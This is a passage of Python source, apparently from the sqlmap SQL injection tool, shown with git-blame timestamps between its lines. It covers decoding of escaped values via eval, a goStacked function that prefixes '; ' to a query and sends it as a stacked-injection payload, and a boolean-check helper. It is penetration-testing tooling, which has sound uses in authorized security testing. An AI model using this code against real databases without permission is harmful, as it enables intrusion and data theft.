if isinstance ( value , six . text_type ) and " \\ x " in value :
2017-12-27 12:23:35 +01:00
try :
2017-12-30 16:35:45 +01:00
candidate = eval ( repr ( value ) . replace ( " \\ \\ x " , " \\ x " ) . replace ( " u ' " , " ' " , 1 ) ) . decode ( conf . encoding or UNICODE_ENCODING )
2017-12-27 12:23:35 +01:00
if " \\ x " not in candidate :
value = candidate
except :
pass
2012-02-17 14:22:48 +00:00
return extractExpectedValue ( value , expected )
2008-11-12 00:36:50 +00:00
2009-04-22 11:48:07 +00:00
def goStacked ( expression , silent = False ) :
2013-02-12 17:35:14 +01:00
if PAYLOAD . TECHNIQUE . STACKED in kb . injection . data :
2019-07-01 10:43:05 +02:00
setTechnique ( PAYLOAD . TECHNIQUE . STACKED )
2013-02-12 17:35:14 +01:00
else :
for technique in getPublicTypeMembers ( PAYLOAD . TECHNIQUE , True ) :
_ = getTechniqueData ( technique )
if _ and " stacked " in _ [ " title " ] . lower ( ) :
2019-07-01 10:43:05 +02:00
setTechnique ( technique )
2013-02-12 17:35:14 +01:00
break
2008-12-19 20:09:46 +00:00
expression = cleanQuery ( expression )
2010-03-26 23:23:25 +00:00
if conf . direct :
2011-01-31 21:22:39 +00:00
return direct ( expression )
2010-03-26 23:23:25 +00:00
2012-07-02 00:22:34 +01:00
query = agent . prefixQuery ( " ; %s " % expression )
2012-09-26 11:27:43 +02:00
query = agent . suffixQuery ( query )
2008-12-16 21:30:24 +00:00
payload = agent . payload ( newValue = query )
2015-02-16 11:48:53 +01:00
Request . queryPage ( payload , content = False , silent = silent , noteResponseTime = False , timeBasedCompare = " SELECT " in ( payload or " " ) . upper ( ) )
2010-12-06 18:20:57 +00:00
2010-12-14 09:05:00 +00:00
def checkBooleanExpression ( expression , expectingNone = True ) :
2012-10-15 12:24:30 +02:00
return getValue ( expression , expected = EXPECTED . BOOL , charsetType = CHARSET_TYPE . BINARY , suppressOutput = True , expectingNone = expectingNone )